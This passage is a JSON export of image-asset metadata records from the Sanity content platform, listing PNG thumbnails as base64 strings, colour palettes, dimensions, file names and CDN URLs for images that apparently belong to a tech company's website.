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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3f62","foreground":"#fff","population":2.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#633226","foreground":"#fff","population":8.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d4dde6","foreground":"#000","population":9.62,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4dde6","foreground":"#000","population":9.62,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eaa99c","foreground":"#000","population":5.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d5c54","foreground":"#fff","population":2.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b6433c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Gregory Stark.png","path":"images/sczeoy4w/production/ec48925e69ecd26d936345f9e39de3eb0ebae948-897x1230.png","sha1hash":"ec48925e69ecd26d936345f9e39de3eb0ebae948","size":1634324,"uploadId":"6AIIfdzWScksE1vqAvKP7QGhUlbdHGUY","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec48925e69ecd26d936345f9e39de3eb0ebae948-897x1230.png"} {"_createdAt":"2022-06-30T19:57:30Z","_id":"image-6e43c75ec151774994178b0cbcbc2c9020d7220b-640x298-png","_rev":"QRl2cGoCgj0FlAhkRrhgUH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:19Z","assetId":"6e43c75ec151774994178b0cbcbc2c9020d7220b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MjKK[}NG00RkD%~qj[D%ofM{D%ayxuj[s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1476510067114094,"height":298,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB00lEQVQokT2PXUsUURzGzxcoi0SiSEgw6KrLIIzddX3LdWwpSAlMlDRQd9x21pnzWq3s7hTtbHTRdSAVdBWYKIodqLzQ8St4a7SEu83Mvsy0zCIzu+2PhwfOOfz+/A+4Pnrv2kh0+PHi562d4l/DduwmjuP886nX667rNhoN13UNw+Ccv1RVjDAlFPQO3+0ZEMIzTz5tbP05ObEs0zAM06dcLlcqlVqtZtt2c0qpVOKcq6qKMaaUgauDQnd/JDg9//FrU7Za6n+56mNXq45lFQuFb7u72WwWIUwZA1cGhMuhSN/U3Psv678KBdM027LVxjStYtE6Pv59dLS9uZnOZHz5GbjUL1wMRm7cn2Jv3/HvP3Sfwya63srBgb6/r+/t/eT8w9paKpXy1mYMdAXHOgOj3YPR8bmllKq+ybfQNE3L5drJa1reu8hl0mlKCPH+TMH5QKTj9p2u0FjfxKOYlPQeKEEYKVCBUEE+uN0QIUlCiQRBiD5/ATpC0TMB4UI4emtyZkFagZhAQmVMkhCtQCQjomCi+A0xkRWUFJeTSyLEFGVegXNDk2fDDzqHJm4+nJ99CkWFeoFMlGlMYTHIvKNMlyGLIybKZDEBYxKM09V4+vUpqcREZzWWuCwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c2929","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c5c74","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":30.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abd3d8","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df8b71","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":30.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da5962","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6e43c75ec151774994178b0cbcbc2c9020d7220b-640x298.png","path":"images/sczeoy4w/production/6e43c75ec151774994178b0cbcbc2c9020d7220b-640x298.png","sha1hash":"6e43c75ec151774994178b0cbcbc2c9020d7220b","size":17946,"uploadId":"LZINrAQZ1bDV8hlo21wsBqIfOpuJfGlC","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e43c75ec151774994178b0cbcbc2c9020d7220b-640x298.png"} {"_createdAt":"2022-06-17T08:46:06Z","_id":"image-e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844-png","_rev":"XMqVxILwpPMz4xYxc7p5e1","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:00Z","assetId":"e3093fe6e987d509ac74b9d72c626df4688df2e0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85$4Fx]RPs.WE.AxuM{R-oIs*xBR-oeoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACj0lEQVQokW3P7VMSARDH8RMJQdEASR0pUTi4B5DjFERKhtIMNUs7CBAOKJMexnxI0MDMqb/824A644tefGZnZ2d+uyu4lAoT8zW8kSpueQ+3UmE8WuNRrM5ErIF3voYnYvJovs6k1uvruNQqDsnEIu8jKE0E9fNtbSL4lr6wuNkitdVCWztGWz9F22ijb3dZNn6TeHuJtnGO/vonS7tXJHeviOQuGF86xNILuB/YM51oEn/1g+XtNonNMxJbbfStC7Q3VywYf9DfXKJvnhN/3UHbuSb+7i/q9jVTmRYO/RBL5MtN4B3vQpNg9gT1ZQt1vUU010bNnSPluoivugTX2oRXzxBXW8y8OGdmrYN/rYPv+QXu5VOssW8MKE0GlYM+wb10hH/1guB6py+U6yJtXCJtXhHa+EVgvYMv28KTOsaZ+M5o4ojR5DGjySOcC4eMzDfxqA2mFBO3ZCKM6V+ZenrM9MoJ089O8GVOeZz5wUz2DH/2DN/KKa7EIdbozWuWyGceRJs4Y/tMxOuIehVdKxFXizwOlxHs4SrDksmIVO1zShWcchWnbOJUaozINWxygwHlE4ORA0bjH/ElTeR0icV0nnSqQHqhTCRq4lUaCA/ECj1DwRL2uQL2WYOh2Ty2QBFrcA+rWGEwVMMif2Qs3kDKlEmtGjzL7pBK7xJbfM9czMSjfsCmfEIYC+/hVU280ToPpTLDgTz2uTxDgSI2ca+/rMcWqjCpFdEzO6Qy20STb/HHDMaVEiPh3ryKNWQiTIgG/miZJ3oDj1phOHBzZS+0f/EtRyDPuGwwo79jWivgUko4wmVstwvvCGMBA7dYwBUu4hTf4+gFzRo47un3cwbDwQJ2qYJV/sCAvP9f/wD7g22xbNvkFQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#322d5a","foreground":"#fff","population":0.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":24.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":24.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aeb9da","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97aed6","foreground":"#000","population":0.91,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6e8f","foreground":"#fff","population":1.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b38250","foreground":"#fff","population":1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844.png","path":"images/sczeoy4w/production/e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844.png","sha1hash":"e3093fe6e987d509ac74b9d72c626df4688df2e0","size":103512,"uploadId":"8a990YHI4CrD5eG4aAwjH7qWd96ALFLk","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3093fe6e987d509ac74b9d72c626df4688df2e0-1567x844.png"} {"_createdAt":"2022-06-15T20:01:37Z","_id":"image-b2a3cf31da8861a41f509522164042c29d7d55b9-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhVr6","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:39Z","assetId":"b2a3cf31da8861a41f509522164042c29d7d55b9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTQvtI%Mn*%2t8-;M{RPaeof~qRij?flaK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/0lEQVQokW3Sy2+iQBzAcf7rve7J9LiPpHvpbtJmTU/WuN0oJrVusIRCGQYY0KUo+AIUeQioPATdSLe7l34ymcv8vslkMtgxiYswTKOTMAzjOC6K4nA4HN90+OtYDmCFvUifFWc0HA2HqqpalpUkSVF6IyzyfZpmaXooT7GNaSyRMJYkWZZFUdQ0zXGcVclxHM/zttvty12yOA7nUwPQE8j69jLPc2xpWaeI53lBAAAghBRFkSRJEASe5xFCi8Uiy7I0TeyRotavnz6e9S7O+09MFEWYbdv9fp9mGJphOI57CRBCoigCACCEs9k0jMKVbShETbqswOpX6vYW0LTjONh8PmcYptlstlotkiQpiiJe4TjeajU5Dmi6pgwguP8C2mcs3e2QoEM86uMJZhgGhLDX61EUJQgChJB8eOh279tt/KZW+9GoP1LkYCBJiOn8+lbFKxd3l59uatUGznIQ22w2vu+7rut53nq9dl13Mh73ZcRDAFhGlgRdU6dTbTT6TTB3n+sf3l29r1yfNwlCkmVsX8pf7Xa72XQiChwSuWdlMJ9PXXe1Xvuu6ww1tU20rxrff3abQ33keh72L8vzvCjjsa4BloGQVVVlsbA2UVQ+dhIEgWkZk7FummYQBHEc/4+LcqVp5vu+aZq2vXyZ2O/35ZfJ83yfZmlSiuPT/gfnE0DgrfOySgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353535","foreground":"#fff","population":5.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#338849","foreground":"#fff","population":1.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#353535","foreground":"#fff","population":5.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dabfbe","foreground":"#000","population":0.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e61d4","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5fa679","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c69829","foreground":"#000","population":0.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b2a3cf31da8861a41f509522164042c29d7d55b9-752x405.png","path":"images/sczeoy4w/production/b2a3cf31da8861a41f509522164042c29d7d55b9-752x405.png","sha1hash":"b2a3cf31da8861a41f509522164042c29d7d55b9","size":92429,"uploadId":"BMXsd6TTtxuT10qujkxqnvrmtAZCzKuM","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2a3cf31da8861a41f509522164042c29d7d55b9-752x405.png"} {"_createdAt":"2022-12-13T09:45:40Z","_id":"image-1afa3a57b3ac789e8df70a3273a95356455ec449-1263x1263-png","_rev":"JKdP0gIV0ar9vXHllAwNbT","_type":"sanity.imageAsset","_updatedAt":"2022-12-13T09:45:40Z","assetId":"1afa3a57b3ac789e8df70a3273a95356455ec449","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eIEe$L#i0zNEIUhfWsAtoz%2^GovEkr_$+%eI@Sh#lrr9GAdoh}p$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1263,"width":1263},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314c65","foreground":"#fff","population":1.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f1305","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f67609","foreground":"#fff","population":3.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0ae9d","foreground":"#000","population":0.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cd4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657697","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67609","foreground":"#fff","population":3.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"OSPO-Inline-606x606_2_2.png","path":"images/sczeoy4w/production/1afa3a57b3ac789e8df70a3273a95356455ec449-1263x1263.png","sha1hash":"1afa3a57b3ac789e8df70a3273a95356455ec449","size":1022559,"uploadId":"sg0gNsc4RymEPu8cJVN3iE3zY7sfFxW6","url":"https://cdn.sanity.io/images/sczeoy4w/production/1afa3a57b3ac789e8df70a3273a95356455ec449-1263x1263.png"} {"_createdAt":"2022-06-30T19:57:54Z","_id":"image-97f16d694ee48d3e3c5def74d64e5c84b6fdc4e5-640x388-png","_rev":"CK1sLU2mnwa3vmbYWEbfUz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:59Z","assetId":"97f16d694ee48d3e3c5def74d64e5c84b6fdc4e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3P?~^00000000~V^*_2_2?aWB-p_2_2-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6494845360824741,"height":388,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACGklEQVQokU1SS2tTQRi9P8KFgiAIgijoQhcWVFBEEETo2j9SlRIiRE2oWKrNg4iNLkR04Ubx0Qe6qEmEWEFQWou1ae4jN/Oe75uZ7GRyG+nHWQzDnPOdc5jg3de1953vS2s/vq1vdnu9OIrCMAxHhySOkzhO05RSyvaCkH6SRFEUTL18M/Xqbf71hxernc6vrc2/YRjGcRTFUdyPkzTpU0IkF1LsARec0rSfBpOPnl2ba1yvPZ9f/LL6c/v3zoAJKaXinAsulFKgARENojHGjmEQpRDB5ZnHF4q1yblGbaW5EaZMajQWEYUQnDEhRkpKKa0BPN9LjEYpFVws1c/eqV6dbdQ/tyPCDHphT+acEZ+QU+pVuBiL6IyvtQ7O36tPFKpXHjRqn9oh5d6U9b5AKZAKlfbQGjUgIGitlULEXfKZQvXU7fKlmYXySitkwjpnrUVrAMAgOmudcy67tRakFFGk+n2j/QQn85XjuflzpScPl5s9wrJU2oBQUmntq/qf0lpNCN1YF1t/UAqldXA0Xz2Sq0yUGrPLrW5Ksm4BgHNOGeOcq7FP5xxIKZMYCLGIfvPhXO3QdPV08en9pfYOodkeAGCMDciAUCKlzPZb6+vAcRZPPjhdPXCrcuJuo7TY6hLm0zmHiFL6vyCl1GPzmXNjjG/BOQAI9t8s77tRPlZYKH5sbg/obkjjG/GdjZ9mM/od6JwbDoeI+A+L/G1aIO6HxAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#446c7c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#06546c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#99c1c8","foreground":"#000","population":0.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99c1c8","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4f0de","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5e5d","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4201f","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"97f16d694ee48d3e3c5def74d64e5c84b6fdc4e5-640x388.png","path":"images/sczeoy4w/production/97f16d694ee48d3e3c5def74d64e5c84b6fdc4e5-640x388.png","sha1hash":"97f16d694ee48d3e3c5def74d64e5c84b6fdc4e5","size":27404,"uploadId":"H3QSkFOxI98NhIRMF6XcupzoPpkvN4MD","url":"https://cdn.sanity.io/images/sczeoy4w/production/97f16d694ee48d3e3c5def74d64e5c84b6fdc4e5-640x388.png"} {"_createdAt":"2022-09-07T06:39:15Z","_id":"image-af32900a8b310b9f6f7d8a0e356c8da7fbfa35af-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8RLt","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:32:05Z","assetId":"af32900a8b310b9f6f7d8a0e356c8da7fbfa35af","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB6[aztSM{xsRP?wxtM{ogRjt8oej]bIae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACm0lEQVQokTWS+U9TWRiGy+1qqLRQhDEFF+hdeltsC6UbuAQy4xK1At24vfd2gyHKpskkZjRKhFRQ9G9+Juc088Pzw8k5eb/3e9/jCeUOiRRPRxROmSyeML36jtjy30QyAybSXaIph6mUzWTaledwZp/I6hHR4imh7DvGzH08yb0Rs2vvyVS/UqxfUKidU2kNWWsNKda+kd86I/fqM5kXHylUP1F685mVV//y4OUnVmsX5OtD4o//wW8OULQOXr2DZ75yyPrOF567Q56633k+uObp4DcbnWs2u9c8al/KAZudnzwb/OLP3jUb7g82u7+oWFfEnwjBPSno0xw8c6t7VF5/5K/dMzaaZ2xY5zyxhqw1LyjVz8m9+crK9jfWrCvWrUvJI/uKh9YlmeoZ06UTvMkBY3pv5DCatJjP97lfPuBO6YD50lvmKkfcLh9zq3RCtHBMrPye2fUPzJaPuV06JF45Il4+ZCZ/QNjs4Ffb+FRb4gksNgkmWgQ0G5/mSrxGF0VMTYqw91HMPYKpPpG0TcxsEdF3CSV2CS42CS3UCS40CCy28CcsPF7VQaBoLoreldZHjY2aU4weN1Iuf+R2UfM7pLNVVHObKbXBhFpjStsmqjUIaW0UsbKwG1AtiV+z8QpRo8+YcGj08RkdJjNtFgoNFle20Ze2WErtkFiqcT+7hZGtoj+oMW06KMJIJNFgxmgxnbK5abQJJCx8ahuvWF00p3cIL7lM5RzC8o1NPG2h5xtohRqJ5Tpmpsm9tEMo2cdzS61xN20xt9yTH1dkI7IQgorekwiXfl3k60jGTZuZrEUs02Y83SGWcplJOtzQXTzjaosJ3SJsugSTXVm9zNLoywzHjIHMWJb3fwEiIt2Rg+S90cevi3/o8h9/CnPbygA62QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#29305d","foreground":"#fff","population":0.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":29.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":29.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b6d5","foreground":"#000","population":0.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90a1dd","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa4e62","foreground":"#fff","population":0.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3430e","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"af32900a8b310b9f6f7d8a0e356c8da7fbfa35af-1567x844.png","path":"images/sczeoy4w/production/af32900a8b310b9f6f7d8a0e356c8da7fbfa35af-1567x844.png","sha1hash":"af32900a8b310b9f6f7d8a0e356c8da7fbfa35af","size":63479,"uploadId":"XMgcouIVxunLCldRH9E16zDcWNotdVab","url":"https://cdn.sanity.io/images/sczeoy4w/production/af32900a8b310b9f6f7d8a0e356c8da7fbfa35af-1567x844.png"} {"_createdAt":"2022-11-09T09:30:45Z","_id":"image-a5d16a4deb05da1675ab3bfa60b8d7216bdac36c-1567x844-png","_rev":"yEepckykK41PbFrRNS61mw","_type":"sanity.imageAsset","_updatedAt":"2022-11-09T09:31:57Z","altText":"Solving problems with event streaming","assetId":"a5d16a4deb05da1675ab3bfa60b8d7216bdac36c","description":"Find out about the challenges some of the amazing innovators in our data community are facing, and how event streaming has helped them meet those challenges (with a little bit of help from their 